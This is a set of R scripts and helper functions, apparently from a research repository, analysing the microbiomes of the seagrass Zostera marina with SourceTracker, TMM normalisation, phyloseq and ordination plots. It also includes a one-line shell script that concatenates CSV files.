# otus.2 <- t(otus.2)
# metadata <- metadata[common.sample.ids, ]
#
# ## add source/sink data to data frame
# metadata$SourceSink <- rep('sink')
# metadata$SourceSink[which(with(metadata, sample.type == 'Water' | sample.type == 'Sediment'))] <- rep('source')
#
# ## extract the source environments and source/sink indices
# unique(metadata$coast)
# train.ix <- which(metadata$SourceSink == 'source' & metadata$coast == 'East.Atlantic')
# test.ix <- which(metadata$SourceSink == 'sink'& metadata$coast == 'East.Atlantic')
# envs <- metadata$sample.type
# metadata$Description <- metadata$site
# desc <- metadata$Description
#
# ## load SourceTracker code
# source('./R/ud-functions/source-tracker.r')
#
# ## to skip tuning, run this
# alpha1 <- 2e-3
# alpha2 <- 1e-2
#
# ## train SourceTracker object on training data
# st <- sourcetracker(otus.2[train.ix,], envs[train.ix], rarefaction_depth = min(rowSums(otus.2)))
#
# ## estimate source proportions in test data
# results <- predict(st, otus.2[test.ix, ], alpha1 = alpha1, alpha2 = alpha2, rarefaction_depth = min(rowSums(otus.2)))
#
# ## write to disk
# write.csv(results$proportions, './data/sourcetracker/roots-EastAtlantic.csv')
# write.csv(results$proportions_sd, './data/sourcetracker/roots-EastAtlantic-sd.csv')
#
# ## load
# # source.tracker <- read.csv('./data/source-tracker-lumped.csv', header = TRUE, row.names = 1)
# source.tracker <- as.data.frame(results$proportions)
# source.tracker$sample.type <- nmds.mat$sample.type[match(rownames(source.tracker), rownames(nmds.mat))]
#
# # source.tracker.sd <- read.csv('./data/source-tracker-lumped-sd.csv', header = TRUE, row.names = 1)
# source.tracker.sd <- as.data.frame(results$proportions_sd)
# names(source.tracker.sd) <- c('Sediment.sd', 'Water.sd', 'Unknown.sd')
# source.tracker <- cbind(source.tracker, source.tracker.sd)
##-----------------------------
## load pre-ran instances
##-----------------------------
source.tracker <- read.csv('./data/sourcetracker/sourcetracker.csv', header = TRUE, row.names = 1)
## cube root function
cubrt_trans <- function() trans_new('cubrt', function(x) 10*x^(1/3), function(x) x^(1/3))
main.l <- ggplot(subset(source.tracker, type == 'Leaf'), aes(x = Sediment, y = Water)) +
stat_density2d(aes(fill = ..density..), geom = 'tile', contour = FALSE, n = 200) +
# geom_errorbar(aes(ymin = Water - Water.sd, ymax = Water + Water.sd), size = 0.25) +
# geom_errorbarh(aes(xmin = Sediment - Sediment.sd, xmax = Sediment + Sediment.sd), size = 0.25) +
scale_fill_gradient2(low = '#f7f7f7', mid = '#f7fcf5', high = '#00441b', na.value = '#f7f7f7') +
geom_point(shape = 21, size = 2, alpha = 0.8, fill = '#74c476', stroke = 0.1) +
xlim(-0.1, 1) +
ylim(-0.1, 1) +
# scale_x_sqrt(limits = c(0, 1.1)) +
# scale_y_sqrt(limits = c(0, 1.05)) +
xlab(' ') +
ylab('Proportion of Water Taxa') +
expand_limits(x = c(-0.1, 1), y = c(-0.1, 1)) +
theme_classic() +
theme(axis.line.x = element_line(color = "black", size = 0.5),
axis.line.y = element_line(color = "black", size = 0.5)) +
theme(strip.background = element_blank(), strip.text.x = element_blank(),
legend.position = 'none', axis.text.x = element_blank())
main.r <- ggplot(subset(source.tracker, type == 'Roots'), aes(x = Sediment, y = Water)) +
stat_density2d(aes(fill = ..density..), geom = 'tile', contour = FALSE, n = 200) +
# geom_errorbar(aes(ymin = Water - Water.sd, ymax = Water + Water.sd), size = 0.25) +
# geom_errorbarh(aes(xmin = Sediment - Sediment.sd, xmax = Sediment + Sediment.sd), size = 0.25) +
scale_fill_gradient2(low = '#f7f7f7', mid = '#fcfbfd', high = '#3f007d', na.value = '#f7f7f7') +
geom_point(shape = 21, size = 2, alpha = 0.8, fill = '#807dba', stroke = 0.1) +
xlim(-0.1, 1) +
ylim(-0.1, 1) +
# scale_x_sqrt(limits = c(0, 1)) +
# scale_y_sqrt(limits = c(0, 1)) +
xlab('Proportion of Sediment Taxa') +
ylab('Proportion of Water Taxa') +
expand_limits(x = c(-0.1, 1), y = c(-0.1, 1)) +
theme_classic() +
theme(axis.line.x = element_line(color = "black", size = 0.5),
axis.line.y = element_line(color = "black", size = 0.5)) +
theme(strip.background = element_blank(), strip.text.x = element_blank(), legend.position = 'none')
## plot together on a grid
dev.off()
gridExtra::grid.arrange(main.l, main.r, nrow = 2)
## END
<file_sep>/R/ud-functions/microbiome-functions.R
## functions for later.
## load libraries. will use 'em all eventually
library(biom)
library(ggplot2)
library(mppa)
library(reshape2)
library(vegan)
# library(fields)
library(e1071)
# library(biotools)
library(FNN)
library(plyr)
library(lda)
library(dplyr)
library(minerva)
library(gplots)
library(ellipse)
library(corpcor)
library(RColorBrewer)
library(ccrepe)
library(igraph)
library(SpiecEasi)
library(Rtsne)
library(MuMIn)
library(stats)
library(indicspecies)
library(edgeR)
library(ape)
library(phyloseq)
library(DESeq2)
# detach('package:fields', unload=TRUE)
# detach('package:spam', unload=TRUE)
## function to take genome and load filef from directory
load.edge <- function(x){edge.list <- read.csv(paste('/Users/Ashkaan/Dropbox/ZEN-microbiome/data/metabolic-models/', x, '.csv', sep = ''))
edge.list
}
## geometric mean
gm_mean = function(x, na.rm=TRUE){
exp(sum(log(x[x > 0]), na.rm=na.rm) / length(x))
}
## function to subsample comp matrix for leaf, sediment, root or water
subsample.tax.matrix <- function(taxon.list, meta.matrix){
site.tax <- taxon.list
new.adj <- matrix(nrow = length(site.tax), ncol = length(site.tax), 0)
colnames(new.adj) <- site.tax
rownames(new.adj) <- site.tax
for(i in 1:length(site.tax)){
for(j in 1:length(site.tax)){
tryCatch({
row = site.tax[i]
col = site.tax[j]
new.adj[row, col] <- meta.matrix[row, col]
}, error = function(e){})
}
cat('Matrix construction is', round(i/length(site.tax)*100, 2), '% complete\n')
}
new.adj
}
## function to subsample comp matrix
comp.to.samp <- function(comp, site.id){
curr.site <- sub.dat.rel[, which(colnames(sub.dat.rel) == site.id)]
site.tax <- names(curr.site[curr.site > 0])
new.adj <- matrix(nrow = length(site.tax), ncol = length(site.tax), 0)
colnames(new.adj) <- site.tax
rownames(new.adj) <- site.tax
for(i in 1:length(site.tax)){
for(j in 1:length(site.tax)){
row = site.tax[i]
col = site.tax[j]
new.adj[row, col] <- competition.mat[row,col]
}
# cat('Matrix construction is', round(i/length(site.tax)*100, 2), '% complete\n')
}
new.adj
}
## function to subsample jaccard matrix
jacc.to.samp <- function(jacc, site.id){
curr.site <- sub.dat.rel[, which(colnames(sub.dat.rel) == site.id)]
site.tax <- names(curr.site[curr.site > 0])
new.adj <- matrix(nrow = length(site.tax), ncol = length(site.tax), 0)
colnames(new.adj) <- site.tax
rownames(new.adj) <- site.tax
for(i in 1:length(site.tax)){
for(j in 1:length(site.tax)){
row = site.tax[i]
col = site.tax[j]
new.adj[row, col] <- jacc.mat[row,col]
}
# cat('Matrix construction is', round(i/length(site.tax)*100, 2), '% complete\n')
}
new.adj
}
## function to match blasted species IDs to OTU IDs
otu.matcher <- function(cor.table, blast.out, interaction.table){
final.table <- cor.table
int <- interaction
blast <- blast
final.table$sppA <- rep(0)
final.table$sppB <- rep(0)
for(g in 1:length(final.table$sppA)){
final.table$sppA[g] <- as.character(blast$Species_ID[which(blast$Query_Otu_ID == as.character(final.table$otuA[g]))])
final.table$sppB[g] <- as.character(blast$Species_ID[which(blast$Query_Otu_ID == as.character(final.table$otuB[g]))])
cat('Assignment is', round(g / length(final.table$sppA)*100, 2), '% done\n')
}
final.table$GR.A.solo <- rep(0)
final.table$GR.B.solo <- rep(0)
final.table$GR.A.full <- rep(0)
final.table$GR.B.full <- rep(0)
final.table$interaction <- rep(0)
for(h in 1:length(final.table$GR.A.solo)){
final.table$GR.A.solo[h] <- int$GRASolo[which(int$GenomeIDSpeciesA == final.table$sppA[h] & int$GenomeIDSpeciesB == final.table$sppB[h])]
final.table$GR.B.solo[h] <- int$GRBSolo[which(int$GenomeIDSpeciesA == final.table$sppA[h] & int$GenomeIDSpeciesB == final.table$sppB[h])]
final.table$GR.A.full[h] <- int$GRSpeciesAFull[which(int$GenomeIDSpeciesA == final.table$sppA[h] & int$GenomeIDSpeciesB == final.table$sppB[h])]
final.table$GR.B.full[h] <- int$GRSpeciesBFull[which(int$GenomeIDSpeciesA == final.table$sppA[h] & int$GenomeIDSpeciesB == final.table$sppB[h])]
final.table$interaction[h] <- as.character(int$Type.of.interaction[which(int$GenomeIDSpeciesA == final.table$sppA[h] & int$GenomeIDSpeciesB == final.table$sppB[h])])
cat('Matching growth rates is', round(h / length(final.table$sppA)*100, 2), '% done\n')
}
final.table
}
## autocurve function
autocurve.edges2 <- function (graph, start = 0.5)
{cm <- count.multiple(graph)
mut <- is.mutual(graph) #are connections mutual?
el <- apply(get.edgelist(graph, names = FALSE), 1, paste, collapse = ":")
ord <- order(el)
res <- numeric(length(ord))
p <- 1
while (p <= length(res)) {
m <- cm[ord[p]]
mut.obs <-mut[ord[p]] #are the connections mutual for this point?
idx <- p:(p + m - 1)
if (m == 1 & mut.obs == FALSE) { #no mutual conn = no curve
r <- 0}
else {r <- seq(-start, start, length = m)}
res[ord[idx]] <- r
p <- p + m}
res
}
## function to merge OTUs by family
merge.by.fam <- function(mat){
## replace OTU labels with families
m <- mat
otus <- rownames(m)
these.otus <- tax[match(otus, rownames(tax))]
tax.dat <- as.data.frame(matrix(ncol = 9, nrow = length(these.otus)))
names(tax.dat) <- c('otu', 'highest', 'kingdom', 'phylum', 'class', 'order', 'family', 'genus', 'sp')
tax.dat$otu <- otus
tax.dat$highest <- rep(999)
## seperate string by ';' and unlist
for(j in 1:length(these.otus)){
tax.dat$kingdom[j] <- unlist(strsplit(as.character(these.otus[[j]][1]), '__'))[2]
tax.dat$phylum[j] <- unlist(strsplit(as.character(these.otus[[j]][2]), '__'))[2]
tax.dat$class[j] <- unlist(strsplit(as.character(these.otus[[j]][3]), '__'))[2]
tax.dat$order[j] <- unlist(strsplit(as.character(these.otus[[j]][4]), '__'))[2]
tax.dat$family[j] <- unlist(strsplit(as.character(these.otus[[j]][5]), '__'))[2]
tax.dat$genus[j] <- NA
tax.dat$sp[j] <- NA
cat('Loop is', round(j/length(these.otus)*100, 2), '% done\n')
}
## function to find highest taxonomic resolution
for(y in 1:length(tax.dat$otu)){tax.dat$highest[y] <- tax.dat[y, min(which(is.na(tax.dat[y, ]))) - 1]}
## add highest tax to m
m$highest <- tax.dat$highest
m.merged <- ddply(m, 'highest', numcolwise(sum))
rownames(m.merged) <- m.merged$highest
m.merged <- m.merged[, -1]
m.merged
}
merge.by.ord <- function(mat){
## replace OTU labels with families
m <- mat
otus <- rownames(m)
these.otus <- tax[match(otus, rownames(tax))]
tax.dat <- as.data.frame(matrix(ncol = 9, nrow = length(these.otus)))
names(tax.dat) <- c('otu', 'highest', 'kingdom', 'phylum', 'class', 'order', 'family', 'genus', 'sp')
tax.dat$otu <- otus
tax.dat$highest <- rep(999)
## seperate string by ';' and unlist
for(j in 1:length(these.otus)){
tax.dat$kingdom[j] <- unlist(strsplit(as.character(these.otus[[j]][1]), '__'))[2]
tax.dat$phylum[j] <- unlist(strsplit(as.character(these.otus[[j]][2]), '__'))[2]
tax.dat$class[j] <- unlist(strsplit(as.character(these.otus[[j]][3]), '__'))[2]
tax.dat$order[j] <- unlist(strsplit(as.character(these.otus[[j]][4]), '__'))[2]
tax.dat$family[j] <- NA
tax.dat$genus[j] <- NA
tax.dat$sp[j] <- NA
cat('Loop is', round(j/length(these.otus)*100, 2), '% done\n')
}
## function to find highest taxonomic resolution
for(y in 1:length(tax.dat$otu)){tax.dat$highest[y] <- tax.dat[y, min(which(is.na(tax.dat[y, ]))) - 1]}
## add highest tax to m
m$highest <- tax.dat$highest
m.merged <- ddply(m, 'highest', numcolwise(sum))
rownames(m.merged) <- m.merged$highest
m.merged <- m.merged[, -1]
m.merged
}
merge.by.class <- function(mat){
## replace OTU labels with families
m <- mat
otus <- rownames(m)
these.otus <- tax[match(otus, rownames(tax))]
tax.dat <- as.data.frame(matrix(ncol = 9, nrow = length(these.otus)))
names(tax.dat) <- c('otu', 'highest', 'kingdom', 'phylum', 'class', 'order', 'family', 'genus', 'sp')
tax.dat$otu <- otus
tax.dat$highest <- rep(999)
## seperate string by ';' and unlist
for(j in 1:length(these.otus)){
tax.dat$kingdom[j] <- unlist(strsplit(as.character(these.otus[[j]][1]), '__'))[2]
tax.dat$phylum[j] <- unlist(strsplit(as.character(these.otus[[j]][2]), '__'))[2]
tax.dat$class[j] <- unlist(strsplit(as.character(these.otus[[j]][3]), '__'))[2]
tax.dat$order[j] <- NA
tax.dat$family[j] <- NA
tax.dat$genus[j] <- NA
tax.dat$sp[j] <- NA
cat('Loop is', round(j/length(these.otus)*100, 2), '% done\n')
}
## function to find highest taxonomic resolution
for(y in 1:length(tax.dat$otu)){tax.dat$highest[y] <- tax.dat[y, min(which(is.na(tax.dat[y, ]))) - 1]}
## add highest tax to m
m$highest <- tax.dat$highest
m.merged <- ddply(m, 'highest', numcolwise(sum))
rownames(m.merged) <- m.merged$highest
m.merged <- m.merged[, -1]
m.merged
}
merge.by.phy <- function(mat){
## replace OTU labels with families
m <- mat
otus <- rownames(m)
these.otus <- tax[match(otus, rownames(tax))]
tax.dat <- as.data.frame(matrix(ncol = 9, nrow = length(these.otus)))
names(tax.dat) <- c('otu', 'highest', 'kingdom', 'phylum', 'class', 'order', 'family', 'genus', 'sp')
tax.dat$otu <- otus
tax.dat$highest <- rep(999)
## seperate string by ';' and unlist
for(j in 1:length(these.otus)){
tax.dat$kingdom[j] <- unlist(strsplit(as.character(these.otus[[j]][1]), '__'))[2]
tax.dat$phylum[j] <- unlist(strsplit(as.character(these.otus[[j]][2]), '__'))[2]
tax.dat$class[j] <- NA
tax.dat$order[j] <- NA
tax.dat$family[j] <- NA
tax.dat$genus[j] <- NA
tax.dat$sp[j] <- NA
cat('Loop is', round(j/length(these.otus)*100, 2), '% done\n')
}
## function to find highest taxonomic resolution
for(y in 1:length(tax.dat$otu)){tax.dat$highest[y] <- tax.dat[y, min(which(is.na(tax.dat[y, ]))) - 1]}
## add highest tax to m
m$highest <- tax.dat$highest
m.merged <- ddply(m, 'highest', numcolwise(sum))
rownames(m.merged) <- m.merged$highest
m.merged <- m.merged[, -1]
m.merged
}
## for ccrepe:
bray.sim <- function(x, y = NA){
if(is.vector(x) && is.vector(y)) return(as.matrix(vegdist(t(data.frame('x' = x, 'y' = y)), method = 'bray'))[2])
if(is.matrix(x) && is.na(y)) return(as.matrix(vegdist(t(x), method = 'bray')))
if(is.data.frame(x) && is.na(y)) return(as.matrix(vegdist(t(x), method = 'bray')))
else stop('ERROR')
}
## function to group nodes based on community membership
layout.modular <- function(G,c){
nm <- length(levels(as.factor(c)))
gr <- 2
while(gr^2 < nm){
gr <- gr + 1
}
i <- j <- 0
for(cc in levels(as.factor(c))){
F <- delete.vertices(G, c != cc)
F$layout <- layout.fruchterman.reingold(F)
F$layout <- layout.norm(F$layout, i, i + 0.5, j, j + 0.5)
G$layout[c == cc,] <- F$layout
if(i == gr){
i <- 0
if(j == gr){
j <- 0
} else{
j <- j + 1
}
}else{
i <- i + 1
}
}
return(G$layout)
}
## function to specify sample ID and generate adjacency matrix from meta-network
meta.to.samp <- function(meta, site.id){
curr.site <- sub.dat.rel[, which(colnames(sub.dat.rel) == site.id)]
site.tax <- names(curr.site[curr.site > 0])
new.adj <- matrix(nrow = length(site.tax), ncol = length(site.tax), 0)
colnames(new.adj) <- site.tax
rownames(new.adj) <- site.tax
for(i in 1:length(site.tax)){
for(j in 1:length(site.tax)){
row = site.tax[i]
col = site.tax[j]
tryCatch({
new.adj[row, col] <- merged.dat[row,col]
}, error = function(e){})
}
# cat('Matrix construction is', round(i/length(site.tax)*100, 2), '% complete\n')
}
new.adj
}
## function to take tissue type and generate adjacency matrix from meta-network
meta.to.type <- function(meta, type){
curr.type <- sub.dat.rel[, which(colnames(sub.dat.rel) %in% rownames(subset(tsne.mat.na, sample.type == type)))]
type.tax <- rownames(curr.type[rowSums(curr.type) > 0, ])
new.adj <- matrix(nrow = length(type.tax), ncol = length(type.tax), 0)
colnames(new.adj) <- type.tax
rownames(new.adj) <- type.tax
for(i in 1:length(type.tax)){
for(j in 1:length(type.tax)){
row = type.tax[i]
col = type.tax[j]
# tryCatch({
new.adj[row, col] <- meta[row, col]
# }, error = function(e){})
}
cat('Matrix construction is', round(i / length(type.tax)*100, 2), '% complete\n')
}
new.adj
}
## function to subset metanetwork in edge list format
meta.edge.to.samp <- function(edge.list, site.id){
v.list <- rownames(sub.dat.rel)[which(sub.dat.rel[, site.id] > 0)]
contained <- data.frame('a' = as.numeric(edge.list$OtuIDA %in% v.list), 'b' = as.numeric(edge.list$OtuIDB %in% v.list))
keepers <- c(which(rowSums(contained) == 2))
new.edge.list <- edge.list[keepers, ]
new.edge.list
}
# meta$SubsiteNumber[which(meta$SubsiteNumber == 1)] <- 'A'
# meta$SubsiteNumber[which(meta$SubsiteNumber == 2)] <- 'B'
# meta$sub.code <- paste(meta$ZenSite, meta$SubsiteNumber, sep = '.')
rel.abund.nodes <- function(site.igraph.obj, site.id){
rel.abund.size.vec <-c()
site.dat <- sub.dat.rel[, site.id]
curr.nodes <- names(V(site.igraph.obj))
for(i in 1:length(curr.nodes)){
rel.abund.size.vec[i] <- site.dat[which(names(site.dat) == curr.nodes[i])]
}
rel.abund.size.vec
}
### tax table to long form function
tax.to.long <- function(mat){
## replace OTU labels with families
m <- mat
otus <- rownames(m)
these.otus <- tax[match(otus, rownames(tax))]
tax.dat <- as.data.frame(matrix(ncol = 8, nrow = length(these.otus)))
names(tax.dat) <- c('otu', 'domain', 'phylum', 'class', 'order', 'family', 'genus', 'sp')
tax.dat$otu <- otus
tax.dat$highest <- rep(999)
## seperate string by ';' and unlist
for(j in 1:length(these.otus)){
tax.dat$domain[j] <- unlist(strsplit(as.character(these.otus[[j]][1]), '__'))[2]
tax.dat$phylum[j] <- unlist(strsplit(as.character(these.otus[[j]][2]), '__'))[2]
tax.dat$class[j] <- unlist(strsplit(as.character(these.otus[[j]][3]), '__'))[2]
tax.dat$order[j] <- unlist(strsplit(as.character(these.otus[[j]][4]), '__'))[2]
tax.dat$family[j] <- unlist(strsplit(as.character(these.otus[[j]][5]), '__'))[2]
tax.dat$genus[j] <- unlist(strsplit(as.character(these.otus[[j]][6]), '__'))[2]
tax.dat$sp[j] <- unlist(strsplit(as.character(these.otus[[j]][7]), '__'))[2]
if(j == 1){bar.vec <- c(na.omit(seq(1:length(these.otus))[1:length(these.otus) * round(length(these.otus) / 10)]))
cat('|')}
if(j %in% bar.vec == TRUE){cat('=====|')}
}
tax.dat
}
#################################################################################################################
# Function to test the significance of the species-level and community-level change in deviance. #
# See Baeten et al. 2013 Methods in Ecology and Evolution for more details on the approach. #
# #
# Usage #
# dDEV(data, sites, survey, surv.old, surv.new, permutations) #
# #
# Arguments of the function bDEV.test: #
# data the function expects a single site x species data matrix, i.e., with data from two time periods #
# sites vector specifying unique site names (the same name for the two time periods) #
# survey vector specifying the time period #
# surv.old name of the initial time period #
# surv.new name of the final time period #
# permutations number of permutations used to test the hypothesis of no temporal change (default = 2000) #
# #
# Value #
# The function returns a list with the first element summarizing the multiple-site results (number of plots, #
# number of species, delta_D and significance). The second element shows species-level results (delta_Di and #
# significance). #
#################################################################################################################
dDEV<-function(data,sites,survey,surv.old,surv.new,permutations=2000){
calc.Di <- function(x){
p <- sum(x)/nsites
nsites * -2*( p*log(p+1.e-8)+(1-p)*log(1-p+1.e-8) )
}
smpl <- function(){
out <- matrix(NA,2,nsites*nspecies)
time <- matrix(1:2,2,nsites*nspecies)
rtime <- sample(1:2,nsites*nspecies,replace=T)
out[,rtime==1] <- c(1,2)
out[,rtime==2] <- c(2,1)
matrix(out,2*nsites,nspecies)
}
t1<-surv.old;t2<-surv.new
fsites <- factor(sites);fsurv <- factor(survey, levels=c(surv.old, surv.new))
nsites <- nlevels(fsites);nspecies <- ncol(data)
m <- as.matrix(data);om <- m[order(fsites, fsurv),]
# observed deviance
Di.t1 <- sapply(1:nspecies, function(x) calc.Di(m[fsurv==t1,x]))
Di.t2 <- sapply(1:nspecies, function(x) calc.Di(m[fsurv==t2,x]))
dDi <- Di.t2 - Di.t1
dD <- sum(dDi)
# random deviance
rdDi <- matrix(NA,nrow=permutations,ncol=nspecies)
for(i in 1:permutations){
smpl.i <- smpl()
rDi.t1 <- sapply(1:nspecies, function(x) calc.Di(om[smpl.i[,x]==1,x]))
rDi.t2 <- sapply(1:nspecies, function(x) calc.Di(om[smpl.i[,x]==2,x]))
rdDi[i,] <- rDi.t2 - rDi.t1
}
rdD <- apply(rdDi, 1, sum)
# significance
eps <- 1.e-8
rS.Pspecies <- rowSums( abs(t(rdDi)) > (abs(dDi) - eps) )
Pspecies <- (rS.Pspecies + 1) / (permutations + 1)
s.Pstudy <- sum( abs(rdD) > (abs(dD) - eps) )
Pstudy <- (s.Pstudy + 1) / (permutations + 1)
# output
list(dD=data.frame(nsites, nspecies, dD, Pstudy),
dDi=data.frame(dDi, Pspecies))
}
##----------
## MC bootstrap functions
diffMeans <- function(data, hasTrt){
# computes our test statistics: the difference of means
# hasTrt: boolean vector, TRUE if has treatment
test_stat <- mean(data[hasTrt]) - mean(data[!hasTrt])
return(test_stat)
}
simPermDsn <- function(data, hasTrt, testStat, k=1000){
# Simulates the permutation distribution for our data
# hasTrt: boolean indicating whether group is treatment or control
# testStat: function defining the test statistic to be computed
# k: # of samples to build dsn.
sim_data <- replicate(k, sample(data))
test_stats <- apply(sim_data, 2,
function(x) {testStat(x, hasTrt)})
return( test_stats)
}
permutationTest <- function(data, hasTrt, testStat, k=1000){
# Performs permutation test for our data, given some pre-selected
# test statistic, testStat
currentStat <- testStat(data, hasTrt)
simulatedStats <- simPermDsn(data, hasTrt,testStat, k)
# 2-way P-value
pValue <- sum(abs(simulatedStats) >= currentStat) / k
return(pValue)
}
<file_sep>/data/sourcetracker/cat-script.sh
## this script concatenates all sourcetracker files
#!/bin/sh
cat *csv > sourcetracker.csv
<file_sep>/R/ZEN-manuscript.R
##--------------------------------------------------
## this script reproduces analyses from a study
## on the microbiomes of a globally distributed
## seagrass species , Z. marina, collected by the
## Zostera Ecological Network (ZEN).
##
## - <NAME>
##--------------------------------------------------
##--------------------------------------------------
## libraries and user-defined functions
##--------------------------------------------------
setwd('/Users/Ashkaan/Dropbox/ZEN-microbiome-project/')
source('./R/ud-functions/microbiome-functions.R')
source('./R/ud-functions/summary-SE.R')
set.seed(777)
##--------------------------------------------------
## import data
##--------------------------------------------------
## (1) non-rarefied biom table
biom <- read_biom('./data/pick-otus/otu_table_filt_JSON.biom')
## coerce to matrix
dat <- as.data.frame(as(biom_data(biom), 'matrix'), header = TRUE)
## drop NOPNA (control) samples
dat <- dat[, -which(lapply(strsplit(colnames(dat), split = 'NOPNA'), length) == 2)]
## (2) import metadata
tax <- as.matrix(observation_metadata(biom), sep = ',')
meta <- as.data.frame(read.csv('./data/meta.csv'))
biotic <- read.csv('./data/meta-biotic.csv', header = TRUE)
## clean up metadata
meta$SubsiteNumber[which(meta$SubsiteNumber == 1)] <- 'A'
meta$SubsiteNumber[which(meta$SubsiteNumber == 2)] <- 'B'
meta$sub.code <- paste(meta$ZenSite, meta$SubsiteNumber, sep = '.')
meta$plant.code <- paste(meta$ZenSite, meta$SubsiteNumber, meta$PlotLocation, sep = '.')
## Exclude epiphyte samples
dont.use <- meta$SampleID[which(meta$SampleType == 'Epiphyte')]
dat <- dat[, -which(names(dat) %in% dont.use)]
## remove sites with less than k reads
k.filter <- 1000
if(length(which(colSums(dat) < k.filter)) > 0){dat <- dat[, -c(which(colSums(dat) <= k.filter))]}
## remove OTUs that occur less than k times
dat <- dat[-which(rowSums(dat != 0) < 1), ]
## trim taxonomy list to OTUs that are present in dat
tax.trim <- as.matrix(tax[which(rownames(tax) %in% rownames(dat)), ])
tax.2 <- tax.to.long(tax.trim)
##-----------------------------
## normalize biom table by TMM
##-----------------------------
counts <- DGEList(dat)
norm.dat <- calcNormFactors(counts, method = 'TMM')
norm.dat.2 <- cpm(norm.dat, normalized.lib.sizes = TRUE)
dat <- norm.dat.2
##-----------------------------
## dividing elements by sample sums
dat.rel <- t(t(dat) / rowSums(t(dat)))
## sqrt transform normalized biom table for downstream analyses
dat.rel.trans <- sqrt(dat.rel)
##----------------------------
## make phyloseq object with tree
##----------------------------
## note: reading the tree spits out a warning due to Newick formatting,
tree <- read_tree_greengenes('./data/pick-otus/pruned_fast.tre')
tree$edge.length <- compute.brlen(tree, 1)$edge.length
## prep biom table to coerce to phyloseq object
ps.dat <- dat
ps.otu <- otu_table(ps.dat, taxa_are_rows = TRUE)
## prep metadata
ps.meta <- sample_data(nmds.mat[which(rownames(nmds.mat) %in% colnames(ps.dat)), ])
## prep taxonomy
tax.3 <- as.matrix(tax.2)
rownames(tax.3) <- tax.3[, 'otu']
tax.3 <- tax.3[which(rownames(tax.3) %in% rownames(ps.dat)), ]
ps.tax <- tax_table(tax.3)
colnames(ps.tax) <- colnames(tax.3)
taxa_names(ps.tax) <- rownames(tax.3)
## coerce into phyloseq object
ps <- phyloseq(ps.otu, ps.meta, ps.tax, tree)
##--------------------------------------------------
## SECTION 1: ORDINATION
##--------------------------------------------------
## (1) vegan distances or...
dist.metric.veg <- vegdist(t(dat.rel.trans), method = 'canberra', binary = FALSE)
## (2) UW unifrac distance computed in phyloseq (need to load ps code snippet below, first)
dist.metric.veg.uw <- UniFrac(ps, weighted = FALSE)
# ## (a) nmds ordination for canberra
# nmds <- metaMDS(dist.metric.veg, k = 2, trymax = 30, pca = TRUE)
# nmds.mat <- as.data.frame(nmds$points)
# nmds$stress
#
# ## (a) nmds ordination for UniFrac
# nmds.uw <- metaMDS(dist.metric.veg.uw, k = 2, trymax = 30, pca = TRUE)
# nmds.mat.uw <- as.data.frame(nmds.uw$points)
# nmds.uw$stress
## (b) pcoa with vegan
pcoa <- cmdscale(dist.metric.veg, k = 2, eig = FALSE)
nmds.mat <- data.frame(pcoa)
## (b) pcoa with vegan UniFrac
pcoa.uw <- cmdscale(dist.metric.veg.uw, k = 2, eig = FALSE)
nmds.mat.uw <- data.frame(pcoa.uw)
## coerce dist into matrix object for your viewing pleasure
dist.metric <- as.matrix(dist.metric.veg)
dist.metric.uw <- as.matrix(dist.metric.veg.uw)
## custom script to clean it all up and rename variables to ones I like
source('./R/ud-functions/clean-ordination.R')
source('./R/ud-functions/clean-ordination-uw.R')
## choose color palette
colorpal <- c('#78c679', '#045a8d', '#9970ab', '#cb181d')
## reorder factors to be more sensible
nmds.mat$sample.type <- factor(nmds.mat$sample.type, levels = c('Leaf', 'Water', 'Roots', 'Sediment'))
nmds.mat.uw$sample.type <- factor(nmds.mat.uw$sample.type, levels = c('Leaf', 'Water', 'Roots', 'Sediment'))
## ggplot function
ord.1 <- ggplot(data = nmds.mat[!is.na(nmds.mat$sample.type), ],
aes(x = X1, y = X2,
fill = as.factor(sample.type),
shape = as.factor(host.env),
colour = as.factor(sample.type))) +
stat_ellipse(data = nmds.mat[!is.na(nmds.mat$sample.type), ],
aes(x = X1, y = X2, colour = as.factor(sample.type)),
alpha = 0.15, geom = 'polygon', size = 0.0, linetype = 1,
type = 't', level = 0.95) +
# geom_path(aes(group = plant.tag), alpha = 0.8, size = 0.5, linetype = 1, colour = '#bdbdbd') +
# geom_path(aes(group = plant.tag)) +
geom_point(alpha = 0.75, colour = '#252525', size = 2,
shape = 21,
stroke = 0.2) +
theme_classic() +
theme(panel.grid.minor = element_blank(), panel.grid.major = element_blank(),
panel.border = element_blank(), panel.grid.minor = element_blank(),
panel.background = element_blank(), axis.line = element_line(color = 'black')) +
xlab(' ') +
ylab('Axis 2') +
scale_shape_manual(values = c(21, 22), guide = guide_legend(title = NULL)) +
scale_colour_manual(values = colorpal, guide = guide_legend(title = NULL)) +
scale_fill_manual(values = colorpal, guide = guide_legend(title = NULL)) +
theme(axis.text.x = element_blank(), axis.text.y = element_blank(), axis.ticks = element_blank(),
axis.line.x = element_line(color = "black", size = 0.5),
legend.position = 'none',
axis.line.y = element_line(color = "black", size = 0.5))
## ggplot function
ord.2 <- ggplot(data = nmds.mat.uw[!is.na(nmds.mat.uw$sample.type), ],
aes(x = X1, y = X2,
fill = as.factor(sample.type),
shape = as.factor(host.env),
colour = as.factor(sample.type))) +
stat_ellipse(data = nmds.mat.uw[!is.na(nmds.mat.uw$sample.type), ],
aes(x = X1, y = X2, colour = as.factor(sample.type)),
alpha = 0.15, geom = 'polygon', size = 0.0, linetype = 1,
type = 't', level = 0.95) +
# geom_path(aes(group = plant.tag), alpha = 0.8, size = 0.5, linetype = 1, colour = '#bdbdbd') +
# geom_path(aes(group = plant.tag)) +
geom_point(alpha = 0.75, colour = '#252525', size = 2,
shape = 21,
stroke = 0.2) +
theme_classic() +
theme(panel.grid.minor = element_blank(), panel.grid.major = element_blank(),
panel.border = element_blank(), panel.grid.minor = element_blank(),
panel.background = element_blank(), axis.line = element_line(color = 'black')) +
xlab('Axis 1') +
ylab('Axis 2') +
scale_shape_manual(values = c(21, 22), guide = guide_legend(title = NULL)) +
scale_colour_manual(values = colorpal, guide = guide_legend(title = NULL)) +
scale_fill_manual(values = colorpal, guide = guide_legend(title = NULL)) +
theme(axis.text.x = element_blank(), axis.text.y = element_blank(), axis.ticks = element_blank(),
axis.line.x = element_line(color = "black", size = 0.5),
legend.position = 'none',
axis.line.y = element_line(color = "black", size = 0.5))
##---------------------
## centroid analysis canberra
##---------------------
## subsite scale
nmds.mat$cluster <- with(nmds.mat, paste(subsite.tag, sample.type, sep = '.'))
cent.subsite <- aggregate(nmds.mat[ ,c('X1', 'X2')], list(group = nmds.mat$cluster), mean)
